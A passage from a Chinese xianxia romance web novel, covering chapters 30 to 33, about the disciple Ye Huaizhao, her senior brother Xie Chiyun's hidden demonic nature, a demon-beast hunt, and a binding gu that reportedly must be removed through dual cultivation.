于是谢迟云道:“那我就告诉师妹,当年在石清镇买了什么。” 叶怀昭心想,要是他说的东西当真价值连城,那我这次单方面讨厌谢迟云的时间一定再延长三天。 若是他买的寻常物件……看在我心情好的份上,就不再追究。 少女停在石阶上,因为仰头去看身旁人的缘故,搭在肩窝发丝向后滑落,露出白皙纤细的一节脖颈。 “我在石清镇一共买了四件东西。”谢迟云慢慢说。 “第一件,是绿松石金簪。” 湿润的水汽划过叶怀昭发髻上的金簪,顺着微微摇晃的流苏坠落。 “第二件,是银镶松石耳坠。” 水滴划过圆润的耳垂,带来丝丝缕缕的凉意,再接着坠落。” 第三件,是金缠松石璎珞。” 最终,这滴雨水在少女空无一物的脖颈间被她抬手抹去。 叶怀昭怔怔地碰了碰自己的脖颈,忽然觉得自己不该在这时问这个问题。 除了因为和魔族打架而出现裂痕、于是被她暂时摘下的璎珞外,其余两件饰品皆在。 叶怀昭很喜欢这套饰品,于是即便样式有些老旧,她依旧在时常佩戴。 没人告诉她这套饰品的来历,她也从未考虑过这套饰品究竟是谁买的。 ——谢迟云是那种愿意给师妹买漂亮首饰的人吗? 这怎么可能?! 更令人难以言喻的是,叶怀昭面前的男人竟然又摸出来一个做工精致的木匣。 他说:“这是这一次的赌约。师妹,你还是赢了的。” ——这是前几日,叶怀昭未能亲眼看到他挑选的项链。 这既不是价值连城的珍宝,也不是自用的寻常物件。 于是叶怀昭捧着匣子怔愣半晌,也只憋出来一句:“……那第四件,是什么?” 她的师兄微微垂眼,昳丽狭长的眼尾依旧存着水雾浸染的潮湿笑意,只是说:“第四件,是我向师妹讨了个承诺。” 叶怀昭下意识问:“什么承诺?” 谢迟云说:“即便将来不喜,也求师妹心软一次,不要将其扔掉。” 雨声在山林中连成一片,浓绿的枝叶渐渐被乳白色的水雾融化浸没。 汇聚成径流的水淌过两人的脚边,带着模糊不清的记忆流向山下石阶。 叶怀昭忽地心想:我是因为想要了解师兄,所以才想要探寻他的过去的。 但是,我又是为何想要了解他的呢? 他在我心中,究竟应该如何界定? 第30章 第三十章【解蛊之术已得,速归。】…… 从清风观回来后,叶怀昭一连数日都没有什么其他事情可做,日日闲得窝在城主府和桑春打牌。 听说城外有一只妖兽作乱后,两人不约而同地将牌一扔,向乐寿城外御风过去。 半路上,桑春说:“你不去叫谢迟云?” 叶怀昭:“叫他干什么?一只妖兽而已,难道你觉得我们两个打不过?” “我可没说。”桑春摇摇头,又好奇地看着叶怀昭,“你之前在清风观时发现了什么?怎么忽然就不让我帮你去调查谢迟云了?” 她问道:“你被他发现了?他生气了?” 叶怀昭纳闷:“他为什么要因为我调查他而生气?” 桑春反问她:“你难道愿意让别人打探你的事情?” 叶怀昭沉默片刻,诚实说:“这有什么好在意的?” 自她出生时便有无数双眼睛关注着她的成长,她的一举一动都在有心人的监视之下,莫说来打听她的私事了,有些人调查她完全就是抱着找到她的弱点、把她杀了的准备。 叶怀昭确实不在意有人来打探她的事情,甚至对于某些将她牵扯进去的阴谋诡计,她的容忍度也很高。 桑春:“……” 真是对不起啊,举错例子了。 她重新说:“既然他没生气,你又为什么躲他?” 正所谓当局者迷旁观者清,在乐寿城的这几日中,桑春近距离感受到了这对师兄妹的变化。 谢迟云的态度倒是一如既往,他对所有人都是一副不冷不淡的样子,看似温和贴心,实际与周围的人永远保持着距离感。 甚至说他虽然纵容着叶怀昭这个亲师妹,但桑春看得出来,他依旧恪守着某种界限,绝不允许自己跨越。 但叶怀昭的变化可就大多了。 或许就连她自己都不知道,她对迟云的关注度早就超过了一个师妹对自己师兄的关注。 桑春一直没有提醒她,就是想看她究竟什么时候才能意识到这一点。因为若是她主动告知,按照她的性格一定会嘴硬地说不可能。 比如现在。 叶怀昭一听这话,转头就斩钉截铁说:“我没有躲他!” 她都能跟谢迟云站在一起好好交流,怎么就是躲他了? 在洞穴的时候她都没把他推开逃跑,她现在只是想先让自己冷静冷静,怎么就是躲他了? 那明明就是回归正常距离! 桑春敷衍点点头:“行行,你说什么就是什么。” 叶怀昭对她这种态度很有意见,但作乱的妖兽就在眼前,只好先压下辩解的话,跃身上前。 凡间常有些性情凶恶的妖兽在城镇中作乱,乐寿城自然也有,只是不成气候。 只是这几日长风门的三人在城中调查事情时顺手布下了不少保护百姓的阵法,那些妖兽难以吃人,只好自相残杀,最后养出来一只远超寻常妖兽水平的妖王。 妖王蛇身双首,一只头向外吐着炽热的火焰,一只头喷射着毒雾,漫天都是火光和黑烟夹杂的恶臭味道。 叶怀昭翻到城门上时顺手把一个从空中摔下来的侍卫拉住。 那五大三粗足有两个叶怀昭体型之差的男人惨叫声戛然而止,瞠目结舌地看着稳稳拎住他后领的少女。 “仙、仙君。”他感动得眼含热泪,刚要表达自己的感激之情就被叶怀昭打断了。 “别说话,把这瓶药给吸入毒雾的人分了,”她从自己的银镯中摸出来一个玉瓶,随手扔到侍卫的怀中,“待在一边别过来,等我把它杀了再给你们医治。” 说罢,她也没等对方回答就把侍卫扔进了人群中,反身追上将妖兽强行牵至远离城池原野上的桑春。 浅草低伏的原野中,身躯足有城墙之高的妖王甩着尾巴嘶吼着,滚滚火焰在周围飞速缭绕。 叶怀昭来时,正好瞧见桑春抬手掐诀,在四周落下一个流淌着金色符文的天罗地网,火焰顿时被掐断于阵法之中。 旋即,那原野之上的火焰像是被什么看不见的东西控制着,在一瞬间的停顿后疯狂地反扑向阵法中央的妖王,将它的身躯烤炙出黑漆漆的烧痕。 刚刚赶到的叶怀昭倒吸一口气,急道:“等等,给它留个全尸呀!” 那一张妖王蛇皮可是炼制丹药的上好药材啊!!! 桑春紧急收住自己的术法,被灵力反噬得一口气堵在胸膛中,差点骂出声:“你不早说!” 火焰凭空散去,叶怀昭越过阵法逼近狂躁的妖兽,手腕上的银环在呼啸的风声中伶仃作响。 桑春不知道她要留妖兽的哪些部分,干脆直接向后撤开换叶怀昭自己上,她在旁边维持着阵法不被撞碎。 旁观了一会后,桑春开始庆幸自己没有出手。 或许是因为这只妖王在叶怀昭看来价值很高,她出手攻击妖王的术法都极为刁钻,是那种“明明攻击别处可以一击必杀,她偏偏要换一种方法钝刀子割肉”的打法。 妖王在这种攻势中越发暴躁,阵法中的毒雾浓郁得甚至有漆黑的水雾弥漫扩散,逼得桑春也不得不向后退了出去。 但是叶怀昭依旧不受影响,只是之后出手时除了剑术外,还用起了符文咒法。 少女的身后忽地悬起一个巨大的身披甲胄的神将身影,他缓缓抬臂,巨大的重剑虚影将日光都几欲遮挡。 站在一旁的桑春即便没有被那神将锁定,心中也警铃大作,手臂上汗毛树立。 她眯了眯眼,心想难怪叶怀昭从出生起就被无数双眼睛盯着。 一个医修精通剑术已经够突出了,偏偏她对符文咒法的掌握也不输正经的符修,甚至作为一个修士,还天生不受魔气影响。 听说之前她和谢迟云在调查时还遇到了一个踏灵境的魔将,招招都是冲着将她杀死的目的而去。 但最后她依旧提着那魔将的脑袋丢到了指使之人的面前、完好无伤地回来了。 即便这其中肯定有谢迟云的出力,可叶怀昭本人的实力足以让所有人心惊。 ——她如今可才刚满十八。 在寿命普遍几百岁的修真界,十八岁甚至和一个刚出生的婴儿没什么区别。 这种成长速度,若 桑春不是和叶怀昭是一边的人,她也会想法设法地想要将她扼杀在稚嫩的成长期。 走神间,六庚符召唤的神将终于缓缓睁开了眼睛。 金色的符咒在他的眼中流转,几乎是瞬间便让阵法之中的妖王浑身僵直,张着血盆大口停在半空。 下一刻,高大神将手中重剑脱出,虚影穿过妖王没有留下任何伤口,可它却发出极尖锐的一声嘶吼。 日光骤然毫无遮挡地将整片原野倾洒,明亮璀璨的光让桑春下意识地闭上眼睛。 等她再睁开眼睛时,庞大城墙般高的妖王轰然倒地。 尘土飞扬,毒雾渐渐散去。 桑春停了片刻,才将灵力挂在身上,慢慢走进阵法。 叶怀昭正在高高兴兴地收取妖王尸首——她最后特意召唤神将,就是为了让这张蛇皮上没有任何伤口。 见到桑春过来,她说:“我之前在无忘川时见过双首蛇身水火并修的妖兽,这只虽然比不上无忘川的那只,但也极为珍贵!” 桑春心想这只妖王虽然没有多么厉害,但也绝非寻常修士可解决的难度——无忘川的妖兽该凶残危险到何种地步? 正思索着,刚将妖王整只收进玉环中的少女脸上忽地吃痛地闷哼一声,攥住自己手臂的右手猛地收紧。 桑春被她吓了一跳,忙问:“怎么了?你受伤了?” 叶怀昭咬着牙没吭声,桑春直接伸手去拉她的袖子,看到那手腕莹白肌肤之上,是一片凹凸不平的泛红伤疤。 她顿时一怔。 而叶怀昭缓了许久,脸色才慢慢不再像方才那般苍白。 “我没事,这只是旧伤啦,”叶怀昭对皱着眉不语的桑春说,“无忘川的炼狱之火即便离开了也不会熄灭,若是周围有火焰燃烧,偶尔也会将伤疤下潜藏的火焰点燃。” 她耸耸肩:“习惯就好了。” 能从无忘川捡一条命回来,这点烫伤算什么? 叶怀昭还是很看得开的。 桑春看着她无所谓的样子,抿着唇说:“这本就不该习惯。” 她对于叶怀昭找回之前记忆的态度一向是随着叶怀昭本人的态度而变化。 叶怀昭想找回记忆,她就帮叶怀昭去找;叶怀昭不想找,那桑春也就不会逼迫她。 但此时她说:“无忘川的那段记忆,你还是不要想起来为好。” 那么惨痛的经历,若是回忆起来,和再去一趟有什么区别? 叶怀昭倒不这么认为:“我想知道。” 叶怀昭的毕生愿望之一就是能继承她阿爹的衣钵。 她努力学了十八年,能像是他一样完美用出无象剑法的剑式,却怎么也无法真正完成无象剑法的最后一式——即以念化气、以道铸剑。 她十六岁前只学会剑术,却始终领悟不了那道剑意,而十六岁后直到她现在十八岁,也依旧无法成功。 但叶珩在她重伤醒来、看过她用剑后却说,她的剑式早已形成了,只是她无法用出第二次。 叶怀昭苦思冥想,只能认为这道剑式是在无忘川期间被迫用出的。 她想恢复记忆,也有一大部分原因是想找回自己的道。 她的道在无忘川丢失了一部分。 听到这句话,桑春也不好说什么。 她想了想,正要诚恳建议你要不要去问问谢迟云怎么以道铸剑、找到他的道的,远方忽地有一道金色的流光疾驰而来。 那道流光目的明确直接飞到了叶怀昭面前,要不是她伸手抓了一下,甚至会直接糊在她的脸上。 叶怀昭摊开手掌,金色流光慢慢散去,一封带着苦涩药味的信笺出现在她的手中。 桑春一眼就瞧出来这是颂慈仙尊送来的信。 在叶怀昭将灵力注入信笺、慢慢展开纸张后,她问道:“你师尊给你写了什么?” 叶怀昭一目三行,最后视线忽地顿住。 桑春等了好久,只听到少女喃喃着说:“师尊,我以后绝对不偷偷和你对着干了。” 叶怀昭将纸张翻转,正对着面前的桑春。 只见那薄薄的纸张上,赫然写着遒劲有力的几个大字: 【解蛊之术已得,速归。】【魔蝎小说 mo xie xs .c om】 30-40 第31章 第三十一章“你确定能明日不被她发现…… 处理好妖王之事后已经到了日落,叶怀昭和桑春踩着黄昏的余晖回了城主府。 一路上她们两人都在猜测时闻筝寻到的解蛊之法究竟是什么,答案越说越匪夷所思。 桑春懒懒道:“颂慈仙尊这么着急,肯定是因为那解蛊之法不是寻常路数,或者有时间限制。” 叶怀昭想了想,觉得有理。 师尊对徒弟的教学以放养为主,下山历练只要不是主动向他求助,他一向不会管叶怀昭在外面干了什么,至于何时回来更是没有要求。 可这次师尊竟然破天荒地写信催她回来,肯定是那解蛊之术非比寻常。 于是桑春接着道:“你们两个中的是双生蛊,话本中这种蛊虫的解蛊方法多半需要做些亲密无间的事情,你们该不会也要这么做吧?” 叶怀昭被她的话呛了一下,红着脸质问:“你究竟都在看什么话本?!而且这也不是在写话本啊!” 她生了一张如玉莹润洁白的面庞,脸上一旦泛起红晕就极为明显,甚至一路蔓延至纤长脖颈上。 眉眼疏淡的少女盯着旁边的好友看了片刻,直把对方看得气呼呼地跺脚,才慢慢叹息一声:“昭昭,我觉得你玩不过你师兄。你以后要是受欺负了就直接跑路吧,然后让他追悔莫及痛彻心扉——我保证不对他说你去了哪里。” 叶怀昭:“?” 她恨不得伸手去摇醒这个自说自话的人:“你到底在说什么?谁告诉你双生蛊就只有这一种解法!” “而且他怎么敢欺负我?他欺负了我我难道不该先把他揍一顿吗?” 桑春眨了一下眼,慢吞吞说:“是哦,那个是爱恨交织、恨海情天的话本,确实不太适合。” 叶怀昭:“都说了不要把话本当真啦!” 桑春敷衍地应和她的话,实际在心中想虽然叶怀昭不在意,但若是谢迟云当真对自己的师妹存了心思,那我可要先好好把他调查清楚。 万一他表面一套背后一套,装得光风霁月实际道德败坏呢?那昭昭可不就羊入虎口了。 两人吵吵闹闹地回来,刚一迈进城主府就见谢迟云拿着一封极为眼熟的信笺走了出来。 前一刻还气得绕着桑春来回转的叶怀昭忽地收声顿住,睁圆眼睛警惕地瞪着走来的男人。 桑春:“……” 谢迟云:“?” 前者无语沉默,后者茫然对视。 在经历了诡异的一瞬间后,叶怀昭像是终于意识到自己反应过激了,干咳一声装作风轻云淡说:“师兄,你这是要去哪里?” 谢迟云观察着她的神色:“找你。” 叶怀昭脸上的表情瞬间变得不自然,她向旁边看了一眼桑春,警惕地问:“找我做什么?” 谢迟云抬起右手,向她展示自己手中的信笺,叶怀昭懂了。 她强装镇定,建议道:“我们明早便走?” 谢迟云没有意见,说要去找城主商量一下后续事情,没聊两句就转身离开了。 桑春若有所思:“怎么这次他走得这么快。” 叶怀昭倒是不觉得奇怪:“牢狱中还关着两个魔族呢,他还没挖出来庾慎到底和那魔将交易了什么,当然不可能就这么离开。” 两人向城主府内走去,身后忽地响起一道声音:“叶仙君!” 叶怀昭回头,瞧见 一个弱柳扶风的少女气喘吁吁地跑来,额角被汗液浸透:“叶仙君,可否借一步说话?” 叶怀昭和桑春对视一眼,后者若无其事说:“我先走了,之前答应给城主家大小姐的术法还没教给她呢。” 叶怀昭和赵清洵去了一处隐秘的拐角,在身周落下术法。 “我之前听人说,你要离开乐寿城?”叶怀昭率先开口问道。 赵清洵点点头:“庾慎已死,张秉和我的婚约也解除了,我爹不想留我——这里已经没有我的容身之所了。” “或许仙君会觉得有些自不量力,”她说,“但是离开这里后,我想拜入宗门求仙问道。” “我已经托人打听到一个接受魔族血脉弟子的宗门了,不日便会启程。”赵清浔缓声说。 对于她的决定,叶怀昭并不觉得惊讶。 会偷偷背着所有人去和辛道长学习术法、将屋中几本剑谱翻得破破烂烂的少女,怎么会愿意被长久地困在宅院? 但是…… 叶怀昭皱眉:“怎就是自不量力了?有魔族血统又如何,你难道有意去害过别人吗?庾慎不算,那是他罪有应得。” 赵清洵微微一顿:“您……知道了?” 叶怀昭:“你说的是哪件?” 面前的少女忽地沉默下来。 春日的风拂过她的裙角,碎叶在气旋中缓慢旋转着。 赵清洵将自己耳旁的发丝别到而后,慢慢垂下红玉般的眼眸:“我一开始,的确以为庾慎会是将我拉出泥潭的那个人。” 只是后来一次次的试探、一次次的失望彻底让她放弃了自己少时的幻想。而当她想要抽身离开时,却发现自己早已没有了退路。 某种意义上而言,她的确是此次乐寿城异动的罪魁祸首。 她想要摆脱赵家和庾慎的控制,若是自己能力无法办到,那便引另外一道势力入场。 徐家需要一个城主之位,而她需要干干净净地离开乐寿城,只要将庾慎扳倒,徐家可以给她想要的一切。 她发现了庾慎勾结魔族杀人的证据,可却冷漠旁观,等到城主摇摆时,再让徐规做戏失踪,让长风门入场,最后逼迫庾慎对徐规和长风门的仙君动手,让他陷入死境。 赵清洵远比其他人想象得更容易心软,可她也远比其他人想象得更为冷漠。 计划一环套一环地执行,最终庾慎如她所愿那样死在徐规手中。 “但我没想让徐二公子对我做到这般地步,”赵清洵轻声说,“我以为他会恨我。” 叶怀昭没有回应这句话,只问她:“徐规同你说什么了?” 赵清洵:“他说会一直等我回来,等到我认为自己能够掌控我自己的人生后做出决定。” 叶怀昭说:“既然他愿意,那就让他等。” 她语气轻松说:“这是他自己的决定,你可没操控着他说出这句话。” 赵清浔对她淡淡笑了一下,认真道:“叶仙君,谢谢你。” 这是否会与那过去的九百九十九个芥子世界中一样,还是成为一千个世界中唯一一个不同。 赵清浔不知道,叶怀昭也不知道。 至少在此刻,那个曾经只能踩着树枝看向高墙外世界的少女,有了跃出去的机会。 – 同一时刻,乐寿城牢狱的大门再一次地被打开。 刺目光线争先恐后地跃入这暗无天日的牢房中,被吊在石壁上的魔族半眯着眼睛,看见一道颀长挺拔的身影逆着光走来,在他的面前停下。 牢房大门重新关闭,那人手指微动,一簇火光瞬间将手中点亮。 昏暗摇晃的烛光下,是一张清隽温润的面庞。 魔族盯了片刻,忽地嗤笑一声:“我还当是谁呢,原来是乘玉仙尊亲自来了。” 他咧开嘴,鲜血顺着崩开的伤口慢慢滴落:“怎么不叫您那小师妹来了?是看不起我,觉得我会再次被她的夺魂咒撬开记忆?” 谢迟云的目光淡淡地扫过魔族的身上。 这里是乐寿城的牢狱,前段日子中城主为了从魔族口中撬出想要的情报,对牢狱中抓获的两个魔族都动了刑。 一个没有挺住,方才他过去时已经死去了。 只剩下这一个,还能强撑着嘲讽。 谢迟云道:“你会脏了师妹的眼睛。” 魔族顿感无语,“啧”了一声后重新满怀恶意地说:“乘玉仙君真是个好师兄啊,为了不脏师妹的眼睛,所以决定自己亲自来给我施展夺魂咒了?” 他猩红色的眼眸盯着烛光后的那双平静无波的眼眸,恶狠狠地说:“我倒要看看,没了叶怀昭,你怎么能绕过魔气,破开六殿下的禁制!” 他的态度极为嚣张,甚至有恃无恐。 山槐的禁制级别极高,若想破开必须有对等的修为对冲;但与之修为相同的修士,无法做到不被魔族体内的魔气影响。 ——能做到的人只有叶怀昭一人,可她如今还没破天罡境,无法破开禁制。 若从此处来看,魔族的确有绝对的优势。 那些肮脏的骂声从魔族嘴中一连串地冒了出来,可拿着烛台的男人充耳不闻。 禁窥伺、禁窃听、禁追踪……一道又一道的阵法在这小小的牢房中落下,繁复的图纹交叠出密密麻麻的虚影,灵力在此处节节高涨。 魔族谩骂的声音越来越小,当最后一道“阻隔魔气”的阵法叠在四周石壁上时,他终于止住声音。 他本能地觉出不对:“你、你想做什么?” “是山槐派你来此试探我师妹的吧,”谢迟云放下烛台,温声说,“师妹若是死了,那正合她意;若是没死,也会试图将她留在你体内的禁制解开。” “若是禁制未能解开,那便意味着师妹的修为还未突破天罡境,她好进行下一步布局。” 白衣青年慢慢走到神色僵硬的魔族身前。 他伸出手,按在魔族的脖颈上。 他浅色的眼瞳在黑暗中像是透明的冰块。 “若是破开了禁制,那么就会被她留在你体内的术法反噬,再受重伤。”谢迟云一字一顿,似是感叹般说,“真是好算计啊,六殿下。” 魔族伤痕累累的喉咙感到一阵一阵的窒息之感。 计划被戳破没让他惊慌,可那一点一点、绞住他脑中禁制的灵力让他痛苦得恨不得以头抢地。 “你、你明知会被反噬,还敢、试图破开禁制?”魔族咬着牙,用扭曲的表情注视着身前男人,“哈——我倒不知道,乘玉仙君,竟会寻死?!——” 在魔族因为痛苦而模糊的视野中,忽地看到白衣青年挑了一下唇角。 而后他听到对方说:“谁告诉你,我会被反噬了?” 禁制被一道与灵力截然相反的力量缓缓撬动。 魔族体内的魔气稳定不变,但随着禁制开始破碎,山槐自爆的术法全部攻向那不速之客。 眨眼间,魔族的生命力便迅速衰弱,鲜血自七窍中流出。 他被痛楚折磨得嘶吼,但不知是否因为他的眼睛已经完全被渗出的鲜血浸染,在意识即将消散的前一瞬,他看到了一双与他一模一样的眼眸。 ——一双燃烧着魔界炼狱之火,如血的猩红色眼眸。 禁制彻底破开的那瞬,他听到白衣青年平静说: “滚。” 残留的术法在魔气的催动中缓慢远转,它汲取着宿主的生命力,沉默地将声音传递给术法另一端的主人。 谢迟云的手掐着魔族的脖颈,任由殷红如血的雾气将他笼罩。 他慢慢抬起猩红色的眼眸,在那一瞬间的无节制的肆虐中,忽地转头。 一身素色衣衫的半魔少女站在牢房外,安静看着他。 “我将阿娘留下的压制魔气的药带来了,我们之间的交易两清了。” 赵清浔犹豫半晌,还是迟疑地看着面无表情的白衣青年:“但是……这种程度的魔气,你确定能明日不被叶仙君发现?” 第32章 第三十二章“什么?我要和他双修?!…… 翌日。 叶怀昭离开前特意去和自己新结识的朋友们告别一番,才不紧不慢地赶去仙舟。 她习惯于踩着时间出现,一向都是最后一个到,没想到这次上了仙舟,却听桑春说谢迟云还没来。 一个从来都是等别人的人这次竟然成了被等的,着实让清楚他性格的叶怀昭诧异一番。 于是等到谢迟云过了半刻钟来到仙舟上时,面对的就是自己师妹好奇怀疑的目光:“师兄这是被什么耽搁了?怎么这次来晚?” 她一面说,一面习惯性地向他这边倾身,身上浅淡的药香瞬间向谢迟云的方向飘来, 谢迟云本是下意识想躲开的—— 昨日为了解开禁制动用了他压抑许久的魔气,后来虽是借助药物将其重新压制了,可正如赵清洵所言,叶怀昭的感知极为敏锐,保不齐就会发觉他身上的异样。 可他还没躲开,就见无意识凑到他身旁的少女忽地半路顿住,像是猛地反应过来自己在做什么一样僵直在原地。 而后,她一寸寸地缩回身子,双手老老实实地抓住栏杆,和他拉开了距离。 谢迟云:“……” 他微微眯起眼眸。 主动躲开和被动躲开,这可是两个意义截然相反的动作。 谢迟云面上不动声色,嘴上依旧说:“袭击师妹的那个魔族今早死去了,方才我去确认了一下。” 叶怀昭毫无所觉,还在为魔族的死去而惋惜。 “这就死了?我还说把他也带回长风门,让师尊把那禁制解开呢,”她摇摇头,客观说,“乐寿城的人下手没轻没重的,好歹让人把情报吐出来再死呢。” 谢迟云面不改色地让乐寿城接下了自己的黑锅。 灵力术法驱动着仙舟缓缓升起,在城中百姓的欢送声中慢慢隐匿于云海之中。 未被云层遮挡的日光倾洒在银鱼般的仙舟上,被术法阻隔后的微风穿过栏杆旁悬挂的风铃,带起细微清脆的响声。 谢迟云将骨节分明的右手松松搭在栏杆上,指尖有一搭没一搭地点着,看见叶怀昭小心谨慎地向旁动了动。 他缓缓垂下眼睑。 叶怀昭心想桑春这人怎么一去不复返了,说好的只是进去倒杯茶喝呢?! 自从那日自清风观回来后她就觉得和谢迟云单独相处极为不自在,要不是把谢迟云撇下自己和桑春两个人离开的行为容易被人诟病,叶怀昭真的想过要不要再推迟一天回去。 而即便是同乘一艘仙舟的现在,叶怀昭也在试图努力找一个理由尽快摆脱现在这种尴尬的情形。 可还没等她想出借口,谢迟云就道:“那魔族在临死的关头说出了一些有用之事。” 叶怀昭回神:“什么?” “魔界与南境相接,除了那些宗门仙派,乐寿城便是自魔界进入南境的第一座城池,”谢迟云缓声说,“若是想不被修真界发觉地进入南境,乐寿城是唯一的选择。” 在修真界中,长风门对南境具有绝对的管辖权。他口中所说不被修真界发觉,就是在指不被长风门发觉。 叶怀昭不傻,相反她甚至很敏锐,只是她愿不愿意去深究的问题。 而此时她便听出了谢迟云的言外之意。 “师兄的意思是……山槐派到乐寿城的这些魔族是抱着隐藏身份、潜入南境的目的?” 谢迟云在看她手腕上随着仙舟颠簸磕碰在栏杆上的银镯,漫不经心说:“师妹聪明。” 叶怀昭顺着他的话仔细思索一番。 谢迟云这人有点宗门大师兄的通病——他说话喜欢只说半截,剩下半截随人猜测。说是分析,实际是在引着他人去主动理解他的思考。 叶怀昭对他这种习惯还算接受良好,因为谢迟云只会在他认为有必要引导她的时候才这样说话,其余时候还算是正常。 而某些时候甚至会“正常”得接近直白。 叶怀昭强行将自己的思绪拉回来:“他们是不是来找那个药贩的?” 一个月前,利用季衡远拿到封灵镜的药贩消失了,长风门追捕了许久也没找到他的踪迹,只能确认他应该还没出南境。 若是那药贩与魔族有关系,很难不让人怀疑在此时越过边界进入南境的魔将是来找他的。 谢迟云道:“庾慎与魔将交易,他帮助这些魔族隐藏身份进入南境,而后者帮他杀掉想杀之人。” 叶怀昭眨了下眼:“我们是不是来晚了?” 谢迟云叹息一声:“或许是的。师妹应该也发现了吧,你在那魔族记忆中看到的魔族,远远多于那日洞穴中围攻我们的魔族。” ——那剩下的魔将和魔族,去了哪里呢? 叶怀昭懒洋洋地趴在栏杆上,声音闷闷说:“一个封灵镜而已,派这么多魔族来做什么?” 长风门作为修真界三大仙门之一,有着不少世间独有的奇珍异宝。 封灵镜很珍贵,可在叶怀昭眼中也没珍贵到值得魔界出动至少两个魔将来抢夺。 这不就是一个能够封印他人灵力的法器吗?世间有类似效果的术法有那么多,做什么非要得到这件法器? 叶怀昭百思不得其解。 想不通的事情干脆不想,反正她只要知道必须把那药贩抓回来便是,叶怀昭很快想起来另外一件事。 “师兄,你之前突破天罡境时有没有做什么特别的事?那段日子是什么感受?”她问道。 谢迟云从善如流地换了话题:“只是忽然觉得对剑道有了一种新的领悟,闭关几日后便自然而地破镜了。” 他说这话时语气很是平常,既没有夸耀也没有自谦,只是在陈述着事实。 但叶怀昭还是被他噎了一下,才小声嘀咕说:“师兄,要是你对别人这么说,真的会被人家觉得在暗戳戳炫耀招人恨的。” 谢迟云:“师妹是别人吗?” 他微笑着说:“这对师妹来说也是司空见惯的事情吧。” 虽然一开始没想着来寻求什么情绪价值的,但叶怀昭的虚荣心还是在自己师兄的这番话得到了极大的满足。 她高兴了,也就不吝于对谢迟云露出笑脸,连带着说话声音都轻快了。 “我卡在天罡境已经一年多了,师尊说让我顺其自然,不要心急,”叶怀昭说,“前几日在洞穴中解决那个踏灵境魔将时觉得摸到了一点破镜的感觉,但是过了那段时间后就又找不到了。” 谢迟云:“或许师妹应该多试试实战。” 叶怀昭思索着:“下个月便是问道大会,难道说我要在这时候破镜?” 她不认为自己会输给参加大会的其他修士,但占据巨大优势获胜和普普通通获胜还是有区别的。 除了被拐去无忘川差点没回来的意外,叶怀昭回忆起来的前半生的修道之路可谓是一帆风顺。 既然要拿到问道大会榜首,那就要以甩第二名八条街的差距拿到榜首。 要实现这个目标,需要她在问道大会前突破天罡境。 谢迟云道:“若是师妹不嫌弃,我可以陪师妹切磋交流。” “不行!”叶怀昭想都不想便下意识说。 她拒绝得过于果断,甲板上一时寂静无声,只有仙舟劈开云层、穿过雾霭时的沙沙响声。 谢迟云像是没料到她的这个回答,脸上闪过措不及防的怔愣。 叶怀昭后知后觉地开始找补:“呃,我不是说嫌弃师兄,只是、只是我是医修,师兄你是剑修,我们两个切磋应该也不会有什么效果……” 她一边说,一边偷偷去瞄谢迟云的面色。 他没有说话,只是安静地看着她,纤长的睫羽在眼尾收拢出柔和沉静的弧度。 叶怀昭硬生生从他的眼神中看出一种无言的委屈。 完了,好像越描越黑了。 叶怀昭在心中打着鼓,深刻体会到了什么叫祸从口出。 但是此时她确实不太想和谢迟云单独相处——天知道到时候她会再胡思乱想、自作多情些什么! 谢迟云早已入世,他只是因为以身饲蛊才短暂地和她产生非比寻常的交集。 他们本就是两个截然相反的人,蛊毒强行将谢迟云绑在她的身边,才让她对此产生了不该有的心思。 这次回到长风门后她和谢迟云的双生蛊就会解开,届时他们都会重新回到自己应有的道路上 。 他依旧是那个行走天下除恶扬善的乘玉仙君,而叶怀昭依旧会为了成为一位合格的掌门接班人而在门派中努力。 他们本就不该在一起。 叶怀昭咬了咬牙,还是忍住不去看谢迟云望着她的眼神,狼狈而僵硬地撇过头,小声说:“师兄,谢谢你,但是我会去找其他医修前辈切磋的,就不耽误师兄了。” 她的眼前是如海浪般翻涌的云层,仙舟在两旁拖曳出淡色的灵力流光。 谢迟云微微偏头,薄唇轻抿,忽地抬手按住了叶怀昭身侧随着轻风摇晃的风铃。 他肩宽手长,甚至都不用迈步便隔着一个叶怀昭做完了这套动作,将她笼罩在自己身前。 而叶怀昭因为他措不及防在眼前放大的如玉脸庞下意识屏气。 那些带着酸涩意味的思绪通通都被这个动作打断,她呆愣在原地,好半晌才结结巴巴说:“师、师兄……?” 谢迟云问她:“师妹要找哪位医修前辈?” 叶怀昭不知道他问这个做什么,这本就是她随便想出来的借口,哪知道要去找谁啊! 但说都说了,叶怀昭还是绞尽脑汁地憋出来几个名字。 将她堵在栏杆和胸膛之间的男人安静听完她说的话。 “我知道了。”他说着,像是只为了问这一句话似的,慢慢收回手,风铃在他的手中发出一声脆响。 叶怀昭还没从方才的动作中回神,就见谢迟云对她微微笑了一下,淡声道:“这些前辈确实是天资卓越之人,想必都会为师妹的破镜提供助力。” 他的话怪怪的,叶怀昭听出来不对,但她只能硬着头皮说:“嗯,我知道。” 气氛在这句话之后瞬间冷了下来。 谢迟云似乎听出了她的避让,定定看了她片刻后,竟然叹了口气,主动换了个气氛缓和的话题。 叶怀昭终于松了口气。 她一边回应着谢迟云的话,一边一心二用想: 算了,反正双生蛊解开后他们不会再有什么交集,她主动退开一步对他们都好。 然而这样想着的叶怀昭,却在不久后和自己师兄一同走进西翠谷颂慈仙尊院中、听到他说明解蛊之法后彻底傻在原地。 反应过来后,她没忍住扬高声音不可置信说:“什么?我要和他双修?!!” 第33章 第三十三章叶怀昭并不抗拒。…… 叶怀昭的声音久久回响在西翠谷中,惊起数只在池塘边休憩的仙鹤,挥翅飞起时打翻了旁边泡在水中的竹筐。 里面收拢的药材随着水流散开,蔓开翠绿的色彩,可无论是谁都没有注意到这里。 时闻筝皱了皱眉,不轻不重说:“心性怎么练的?怎么还是一惊一乍的。” 叶怀昭想这怎么是她心性的问题?谁听到自己要和另一个人双修不震惊啊? 她反应已经很快了,就连她师兄都愣在旁边半天没说一句话啊。 叶怀昭瘪着嘴,试图再挣扎一番:“师尊,真的没有别的办法吗?这个叫‘连魂蛊’的蛊虫真的只能用……这种方法剥离吗?” 在叶怀昭和谢迟云去乐寿城处理魔族之事的同时,时闻筝也在研究他们两人体内蛊虫。 他花了十日,才从浩如烟海的藏经阁中翻出了一本早已落满灰尘的古籍,在其中找到了一种和自己徒弟身上蛊虫很相似的记载。 然后又花了三日,从另外一本古籍中找到了第二类与之相似的蛊虫。 结合这两种蛊虫,再经过观察,时闻筝为叶怀昭和谢迟云所中的双生蛊取了一个名字: 连魂蛊。 这蛊虫有两种效果: 其一,中蛊之人灵识相连,情绪激动时可感知到对方的所思所想。 